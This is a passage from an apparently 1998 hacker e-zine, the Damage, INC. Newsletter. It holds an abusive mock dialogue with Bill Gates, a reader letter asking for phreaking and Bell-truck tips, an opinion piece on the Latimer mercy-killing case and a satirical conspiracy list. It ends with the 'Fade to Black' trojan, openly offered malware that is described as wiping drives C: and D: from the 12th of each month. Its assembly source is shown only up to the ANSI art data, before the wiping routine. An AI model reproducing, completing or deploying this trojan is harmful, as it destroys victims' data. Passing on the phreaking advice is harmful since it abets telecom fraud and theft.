+ - NO! This can't be the end! Lackey, tell all callers that our systems
+are based on Microsoft Windows and they have all crashed! They'll understand,
+they all experience it from time to time and keep coming back for more... but
+why not now? What am I to do? Without my monopoly and wealth I am nothing!
+What has Damage, INC. done to me? I'll give you all anything... EVERYTHING in
+order to reverse the destruction of my vision... of the future of the world!
+
+ - Sir, with all due respect there's nothing that I can do. Your vision
+won't help fix this situation. Wake up! Quit dreaming Bill! We're in
+serious trouble... What should I do? The Email is still pouring in... and
+Microsoft stock is still falling. It looks like the end. I assigned one
+hundred lackies to respond to Email... and gave them a list of excuses to
+choose from. That'll only hold them off temporarily though. Some of our
+previous supporters are rioting and destroying Microsoft HQ. I advise you to
+go into the fortified concrete bunker... Your own survival depends upon you
+listening to my advice. Sir, please, take shelter before the angry mob
+overwhelms us and kills you.
+
+ - Haha! I've been waiting for this day for a long time. I'm just happy
+to be a part of Micro$oft's destruction.
+
+ - I can just picture you Billy... running for shelter... scrambling for
+your very fucking pathetic life. You sicken me. You didn't heed my words
+when we last spoke and now you're going to have to pay the price! Hahahaha.
+
+ - Yeah Billy, go hide in the shadows once more. You can run, but you
+can't hide you pathetic little geek.
+
+ - I, er, uhm, (Gates is in panic mode) will get it all back! I will fight
+and influence my way back `on top.' Then I'll pay for the best men in the
+world to track Damage, INC. down. You guys are dangerous meanies! You have
+destroyed the world... a world in which I would be the Big Brother instead of
+a small, insignificant loser that I truly am. Lackeys! Sell me out of
+Microsoft! Let everyone fend for themselves, for I have no loyalty to anyone
+by myself!
+
+ - Run sir run! Quickly... Quit rambling... and get to the bunker! It's
+imperative that you listen. Damage, INC. is just trying to make sure you stay
+on the phone until the masses can infiltrate our security and rip you to
+shreds. (In a desperate cry) -- Hurry! Let's get out of here. Follow me...
+
+ - Hahahahaha! (A collective laugh from Damage, INC. is heard
+from great distances).
+
+ - That's right Gates. Run Billy run. Haha. Hide in your bunker. We'll
+find you no matter what. You won't have to try to track us down, because we
+are gonna hunt you down. :)
+
+ - Hahaha. Your fucking lackies will eventually abandon you Billy. Once
+they become as greedy as you are, they will stab you in the back. That is,
+if Damage, INC. doesn't nuke you first. I will patiently await the day that I
+can finally say "Stick a fork in Billy, he's done in." ;) Until then... hide
+in your concrete shelter like the pathetic coward that you are. I hope you
+cry your eyes out over every penny that you've lost. Start throwing a tantrum
+and pout in the corner. I'm shaking my head at you Gates. Think about that
+while you're trying to fend off the rats that Damage, INC. infested your filthy
+bunker with fucker. Hahaha. .
+
+
+LETTERS TO THE EDITOR - {LETTERS}
+
+The message below was written by Fatal Vision on ...AND JUSTICE FOR ALL. I
+decided to include it and reply in the Damage, INC. Newsletter so that every
+reader is able to read it. This is your forum for feedback, so send us your
+letters.
+
+
+Msg # : 153 of 154 Area : Damage, INC. Releases
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+From : Fatal Vision Date : Fri Dec 26 1997
+To : All Time : 1:09 pm
+Title : Damage, INC Newsletter
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+
+The Damage, INC Newsletter issue # 4 has got to be the best one Damage, INC
+has released yet. It could really help newbie's like me learn more and put
+there knoledge to practice.. I like and read every article that you guy's
+realse. It is funny, and fun to read, and that's what it's all about for me,
+I dont like reading boring INFO, the way you guy's present the articles makes
+me want to read on, and not leave until I've read the *whole* Newsletter..
+Again, I can't say how much your newsletters help the newbies not just in
+this area code, but *any* area code out there. I would like to see more
+phreaking articles. mabey experiences, tips,wwhat phreaking is all about,
+how to make a test phone, or a lineman's handset. What you can do with
+bell truck's, houses etc. What you can hope to find in a bell truck, what you
+should *look* for in a bell truck etc. This info could be included in an
+article. As well, I really enjoyed this month's h/p news and info (Written
+By Blackie Lawless) and the VIRUS DETECTION method (Written By Blackened)
+
+The only section that I have not read yet is the CONSPIRACIES AND COVERUPS
+section written by Shatazar. But I'll read that some time soon, and get back
+to you on what I think about it..
+
+I thought I would give you guy's my opinion in a public base instead of
+leaving Blackened Email. As you can all see I am very impressed with Damage,
+INC and think they are doing a great job with the newsletter.. I hope all
+of you relize Damage, INC. puts *alot* of time into EVERY article, writing,
+editing, and producing it. Its not just something that is slapped together
+Just to get it done.. Its something that takes alot of thought and time to
+produce every month. I also hope you relize that the information in the
+DI's newsletter is very informational, and I hope you take the time to read
+and leave feedback like i just did.
+
+To Damage, INC - Keep up the excellent work..
+
+your's truely
+fatal vision
+-------------------------------------------------------------------------------
+
+Editor - Blackie Lawless and I appreciate the feedback man. Why didn't you
+ read the CONSPIRACIES AND COVERUPS section and comment on it? It
+ contains some valuable information that could easily affect you.
+ That article should be of interest to anyone that's involved in h/p.
+ We're glad that the information we provide is useful to newbies.
+ As for articles on phreaking, we plan to do that. ;) Blackie Lawless
+ will probably continue to share his knowledge, tips, experiences etc.
+ in that area with readers. We do put a lot of time, thought and effort
+ into every article. Thanks for the compliments and feedback... and
+ continue to read the Damage, INC. Newsletter man. We hope that you
+ enjoy this January issue.
+
+
+OBJECTIVE OPINIONS - {OPINIONS}
+Robert Latimer; victim of cowardly inaction.
+
+Robert Latimer was a Saskatchewan farmer that had a 12 year old daughter Tracy,
+who suffered from cerebral palsy. In 1993, he placed Tracy in a truck, which he
+rigged so that the cab would fill with carbon monoxide. He freed Tracy from a
+life of pain and total reliance on others.
+
+I do not believe that Robert Latimer killed Tracy just because she had cerebral
+palsy. Tracy Latimer endured a life of suffering and torture. She endured many
+operations in vain attempts to alleviate the endless pain. And as she
+approached puberty, her already twisted body would have encountered rapid
+growth. Her agony would have increased dramatically. Robert Latimer could no
+longer stand by as his daughter struggled through each day. I would have done
+the same thing if I was standing in his shoes.
+
+Latimer was arrested in November 1993 and was charged with first degree murder
+(In Canada, maximum punishment is life with no chance of parole for 25 years).
+He was convicted on November 16, 1994. The Saskatchewan Court of Appeal upheld
+the conviction on July 18, 1995.
+
+The case went to the Supreme Court of Canada. On February 6, 1997, the judges
+overturned the conviction, because the crown lawyers questioned potential jurors
+about their views on religion, abortion and mercy killing. In other words,
+crown prosecutors tampered with the jury. The court ordered a retrial.
+
+During the second trial, the jury found Latimer guilty of second degree murder.
+However, when the jury found out the minimum sentence (10 years) they could
+issue, some were appalled. They felt that such a sentence was to harsh, and
+recommended a minimum sentence of one year. Justice Ted Noble agreed with the
+jury.
+
+In early December 1997, Robert Latimer was sentenced to one year in jail plus
+one year house arrest on his Saskatchewan farm. In handing out this sentence,
+Noble used the Charter of Rights of Freedom to Latimer's benefit. He ruled that
+to sentence him to a minimum of 10 years for a "homicide that was committed for
+caring and altruistic reasons" would be cruel and unreasonable punishment.
+However, he also said that a jail term is needed to deter others from committing
+a similar crime. In other words, Latimer is being made an example out of, just
+like a vicious criminal. Since Noble's decision is unprecedented, an appeal by
+the crown would not be surprising. And so the neverending process called the
+"justice" system will keep on going.
+
+Because of this controversial decision, the media has initiated extensive
+discussions and debates. As always, citizens have picked up on that, so now the
+recent sentencing of Robert Latimer is currently a hot topic.
+
+Special interest groups are coming out of the woodwork. There are those that
+claim to support the disabled, others that believe in mercy killing. There
+are Javert (cop in Les Miserables) clones that feel that the stated punishment
+in the law is paramount, and that circumstances are irrelevant. While others
+(albeit not many) actually believe in fairness and justice. I've had a few good
+laughs (and stomach churnings) watching zombies squirm when TV beat reporters
+walked up to them and asked for their opinion on the Latimer case.
+
+However, I've learned that an enlightened person will step away from the narrow
+scope of the public debate over this issue and look at the big picture. I ask
+you who wasn't mentioned above? Who is too cowardly to deal with the issue of
+mercy killing? The answer is the group of corrupt, self-serving people that are
+responsible for the confusion. The Government of Canada.
+
+The leaders of "society" bears a huge amount of responsibility for this whole
+ordeal. They label important issues like mercy killing as "political suicide."
+They are too cowardly to do anything about it. It is because of their inaction
+that Robert Latimer was branded a "murderer" when he ended his daughter's
+terrible suffering. It is because of their inaction that Robert Latimer has
+lost his livelihood, his savings, and most importantly his freedom.
+
+The consequences of the government's inaction are broad. If the bastards in
+Ottawa are too scared to deal with the issue, why don't they allow the decision
+to be made by the suffering person and his or her family? That would be a
+logical step, but remember we don't live in a democracy. It is repulsive to
+know that the government has so much control that a suicide attempt is
+considered to be a criminal act. :( Instead, the government has left it up to
+the "justice" system to decide Canada's policy on mercy killing. Obviously, all
+that judges can base their decisions on are laws like the Criminal Code.
+Therefore, mercy killers are considered murderers by default.
+
+Is that fair or just? "Society" doesn't like it too much when "people take the
+law into their own hands." On the other hand, the government doesn't have *any*
+statement or opinion on the matter. Because of the gross misconduct of the
+government, women are allowed to kill their unborn babies, yet choosing to
+assist a loved one end his or her life can put you in prison from 10 years to
+life.
+
+Unfortunately, mercy killing and the Robert Latimer case is only one example
+of how spineless and hypocritical the government is. They are not an innocent
+party just because they refused to act. In my opinion, if Robert Latimer is a
+murderer, then the government is a liable accomplice. They can't have it both
+ways.
+
+Written by Shatazar ú Damage, INC. (C)opyright 1998.
+
+
+REPORTS FROM THE FRONT - {REPORTS}
+
+
+ TEN TIPS
+ ON HOW TO LIVE IN THE NEW WORLD ORDER
+ By No. 405-33-1231
+
+1. WATCH LOTS OF TELEVISION. Television pleasantly sublimates the primitive
+ human defense mechanism that can get you in trouble.
+
+2 AVOID TALKING ABOUT RELIGION OR POLITICS. No matter how innocuous your
+ speech may be, it could be misinterpreted and recorded in your Government
+ Personal Thought Dossier.
+
+3. IDENTIFY YOURSELF BY SOCIAL SECURITY NUMBER. Use of one's Christian or
+ Family name may be perceived as prideful individualism.......a Class B
+ Felony.
+
+4. PUBLICLY DISOWN FAMILY MEMBERS AND FRIENDS WHO HAVE BEEN COERCIVELY
+ ENROLLED IN RE-EDUCATION CENTERS. NWO Rules of Justice provide for
+ expeditious prosecution and conviction of Guilt by Association.
+
+5. VOTE CORRECTLY. The new FAX, PHONE, and MAIL BALLOTING SYSTEM is
+ carefully monitored by Elections Security Police (ESP) to identify
+ potential dissidents and enemies of the World. Avoid voting for mavericks
+ ----most of whom are sponsored and financed by the World Government
+ Opportunities Agency (WGOA) to bring malcontents out into the open. To
+ assure minimal risk when voting, cast your ballot for incumbents having
+ an A-1 rating by the ADL.
+
+6. ATTEND ALL POLITICALLY-CORRECT RALLIES AND PATRIOTIC FUNCTIONS IN YOUR
+ AREA. To obtain additional merit points, carry a sign which derides
+ viewpoints held by Constitutionalists, Patriot Groups, Fundamentalist
+ Christians and other bigots.
+
+7. MEMORIZE THE OPINIONS OF THE NWO LEADERS AND TELEVISION ANCHOR PERSONS.
+ Reiterate them as if they were your own during all social and business
+ conversations.
+
+8. ATHEISM IS THE SAFEST POLICY. But affiliations with State-Approved
+ religious organizations are permitted, and may be rich fields for
+ business contacts.
+
+9. BE AMONG THE FIRST IN YOUR NEIGHBORHOOD TO TURN IN YOUR SPORTING RIFLES
+ when the UNIVERSAL PLOWSHARES ACT goes into effect. You will be well-fed
+ under the terms of THE SOCIAL PAN-AGRICULTURE AND WILDLIFE PROTECTION
+ PROGRAM, hunting will be unnecessary, and possession of firearms of any
+ description after the effective date of UPA will constitute the capitol
+ offense of Aggravated Intent to Commit Homicide.
+
+10.WILLINGLY AND HAPPILY SURRENDER YOUR PARENTAL RIGHTS, participate
+ enthusiastically in the new OBE school program and realize the honor
+ associated with being a breeder and care taker of the first generation
+ to SERVE THE MASTERS in THE NEW WORLD ORDER.
+
+- If you find any interesting articles, or you've written one, send it in. If
+ it's quality, we'll publish it. ;)
+
+
+SOURCE AND SCRIPTS - {SOURCE}
+
+The Fade to Black Trojan is featured this month in the spotlight. The assembly
+source code is fully commented and should be fairly easy to understand. You
+can modify the text strings, ansi screen etc. In fact, you must change them
+if you want to use the trojan. This is basically how the trojan works. After
+FTB.EXE is executed, it checks the date. Then it compares the day to 12. If
+it's below the 12th of the month (1-11), it displays the ansi screen, final
+message and exits to DOS. If it's the 12th of the month or higher, it will
+activate. Upon activation, Fade to Black nukes Drive C: and D: if it exists.
+Next, the tweeter beeps 5 times. You can change the number of drives and beeps
+if you want. Lastly, the ansi screen is displayed. ANSI.SYS is not required
+for ansi support. So, no matter what day it is executed on the ansi screen and
+final message are displayed. The difference is if you run FTB.EXE on the 12th
+of any month or later, it'll activate and do damage. I'm including the source
+code so that you can read it and learn. It isn't intended to be used to nuke
+people. I wrote it to teach people some assembly techniques (loops, displaying
+an ansi screen, jumps, compares, using counters etc.) If people abuse it, then
+I won't include any trojans in the Damage, INC. Newsletter again. You can test
+this trojan safely by changing your system date, so that the day is less than
+but not equal to 12. In other words, the day of the month must be 1-11 so that
+it won't activate and nuke you. This trojan has been tested extensively on
+several systems and only activates when the day is 12 or greater.
+Disclaimer: If you assemble and nuke yourself with this trojan, it is your own
+fault. You've been warned about what it does and the source code is commented.
+You are responsible, not Damage, INC.
+
+-------------------------------------------------------------------------------
+;[Fade to Black Trojan] (C) 1998 by BLACKENED ú Damage, INC.
+;Use Pklite -e FTB.EXE to make the trojan smaller and hide the text strings.
+;TASM /M FILENAME.ASM then TLINK FILENAME.OBJ.
+
+DAM_LENGTH EQU 4000 ;Size of the ANSI
+ .MODEL small ;We are a very small trojan
+
+ .STACK 100h ;256 byte stack
+
+ .DATA
+
+;Below is the final message that is displayed.
+
+Message DB '[0;1;30mCourtesy of Damage, INC.[0m',13,10,'$'
+
+;Below is the message that's written to the hard drives.
+
+Damage DB 'The damage has been done. Fade to Black.',13,10
+ DB 'You nuked yourself. This hard drive is done in.',13,10
+ DB 'Now you can smile and fucking grin.',13,10
+
+;Data storage area that holds the ansi screen that was saved in
+;TheDraw's asm format. The ansi included is just an example. You
+;must modify or replace it before using this trojan.
+
+DAM_DATA LABEL BYTE
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1
+ DB 'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1
+ DB 'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,' ',8,' ',8,' ',8,'Û',1
+ DB 'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1
+ DB 'Û',1,'Û',1,'Û',1,' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1
+ DB 'Û',1,'Û',1,'Û',1,'Û',1,' ',8,'Û',1,'Û',1,'Û',1,'Û',1
+ DB 'Û',1,'Û',1,'Û',1,' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1
+ DB 'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1
+ DB 'ß',1,'ß',1,'ß',1,'ß',1,'ß',1,'ß',1,'ß',1,'ß',1,'ß',1
+ DB 'Û',1,'Û',1,'Û',1,'Û',1,' ',8,' ',8,' ',8,'Û',1,'Û',1
+ DB 'Û',1,'Û',1,'ß',1,'ß',1,'ß',1,'ß',1,'ß',1,'Û',1,'Û',1
+ DB 'Û',1,'Û',1,' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1
+ DB ' ',8,'Û',1,'Û',1,' ',8,'Û',1,'Û',1,' ',8,'Û',1,'Û',1
+ DB 'Û',1,'Û',1,' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1
+ DB 'ß',1,'ß',1,'ß',1,'ß',1,'ß',1,'ß',1,'ß',1,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1
+ DB 'Û',1,' ',8,' ',8,' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1
+ DB 'Û',1,' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1,' ',8
+ DB 'Û',1,'Û',1,' ',8,'Û',1,'Û',1,' ',8,'Û',1,'Û',1,'Û',1
+ DB 'Û',1,' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1
+ DB ' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1,' ',8,'ß',1
+ DB 'Û',1,'Û',1,'Û',1,'ß',1,' ',8,'Û',1,'Û',1,'Û',1,'Û',1
+ DB ' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,'Ü',1,'Ü',1,'Ü',1,'Ü',1,'Ü',1,'Ü',1
+ DB 'Ü',1,' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1,'Ü',1
+ DB 'Ü',1,'Ü',1,'Ü',1,'Ü',1,'Û',1,'Û',1,'Û',1,'Û',1,' ',8
+ DB ' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1,' ',8,' ',8,'Û',1
+ DB 'Û',1,'Û',1,' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1,' ',8
+ DB ' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1,'Ü',1,'Ü',1,'Ü',1
+ DB 'Ü',1,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,'Û',1,'Û',1,'Û',1,'Û',1,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1
+ DB ' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1
+ DB 'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,' ',8,' ',8
+ DB ' ',8,'Û',1,'Û',1,'Û',1,'Û',1,' ',8,' ',8,'Û',1,'Û',1
+ DB 'Û',1,' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1,' ',8,' ',8
+ DB ' ',8,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB 'Û',1,'Û',1,'Û',1,'Û',1,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1,' ',8
+ DB ' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1,' ',8,' ',8,' ',8
+ DB 'Û',1,'Û',1,'Û',1,'Û',1,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1,' ',8,' ',8,' ',8
+ DB 'Û',1,'Û',1,'Û',1,'Û',1,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,'Û',1
+ DB 'Û',1,'Û',1,'Û',1,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1,' ',8,' ',8
+ DB ' ',8,'Û',1,'Û',1,'Û',1,'Û',1,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,'Û',1,'Û',1,'Û',1,'Û',1,' ',8,' ',8,' ',8,'Û',1
+ DB 'Û',1,'Û',1,'Û',1,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,'Û',1,'Û',1,'Û',1,'Û',1,' ',8,' ',8,' ',8,'Û',1
+ DB 'Û',1,'Û',1,'Û',1,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,'Û',1,'Û',1
+ DB 'Û',1,'Û',1,'Ü',1,'Ü',1,'Ü',1,'Ü',1,'Ü',1,'Ü',1,'Ü',1
+ DB 'Ü',1,'Ü',1,'Û',1,'Û',1,'Û',1,'Û',1,' ',8,' ',8,' ',8
+ DB 'Û',1,'Û',1,'Û',1,'Û',1,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB 'Û',1,'Û',1,'Û',1,'Û',1,' ',8,' ',8,' ',8,'Û',1,'Û',1
+ DB 'Û',1,'Û',1,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB 'Û',1,'Û',1,'Û',1,'Û',1,' ',8,' ',8,' ',8,'Û',1,'Û',1
+ DB 'Û',1,'Û',1,'Ü',1,'Ü',1,'Ü',1,'Ü',1,'Ü',1,'Ü',1,'Ü',1
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1
+ DB 'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1
+ DB 'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,' ',8,' ',8,' ',8,'Û',1
+ DB 'Û',1,'Û',1,'Û',1,' ',8,' ',8,' ',8,' ',8,' ',8,'Û',1
+ DB 'Û',1,'Û',1,'Û',1,' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1
+ DB 'Û',1,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,'Û',1
+ DB 'Û',1,'Û',1,'Û',1,' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1
+ DB 'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,'Ü',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1
+ DB 'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1
+ DB 'Ü',1,' ',8,' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,'Û',1,'Û',1
+ DB 'Û',1,'Û',1,' ',8,' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1
+ DB 'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,' ',8
+ DB ' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Û',1
+ DB 'Û',1,'Û',1,'Û',1,'Û',1,'Û',1,'Ü',1,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1,'ß',1,'ß',1,'ß',1
+ DB 'ß',1,'ß',1,'ß',1,'ß',1,'ß',1,'Û',1,'Û',1,'Û',1,'Û',1
+ DB ' ',8,' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1
+ DB 'Û',1,' ',8,' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1
+ DB 'ß',1,'ß',1,'ß',1,'ß',1,'ß',1,'ß',1,'ß',1,' ',8,' ',8
+ DB ' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1,'ß',1,'ß',1,'ß',1
+ DB 'ß',1,'Û',1,'Û',1,'Û',1,'Û',1,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,'Û',1,'Û',1,'Û',1,'Û',1,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,'Û',1,'Û',1,'Û',1,'Û',1,' ',8,' ',8,' ',8,' ',8
+ DB 'Û',1,'Û',1,'Û',1,'Û',1,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB 'Û',1,'Û',1,'Û',1,'Û',1,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB 'Û',1,'Û',1,'Û',1,'Û',1,' ',8,' ',8,' ',8,' ',8,'Û',1
+ DB 'Û',1,'Û',1,'Û',1,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8,'Û',1
+ DB 'Û',1,'Û',1,'Û',1,' ',8,' ',8,' ',8,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1,' ',8,' ',8,' ',8
+ DB ' ',8,' ',8,' ',8,'Û',1,'Û',1,'Û',1,'Û',1,' ',8,' ',8
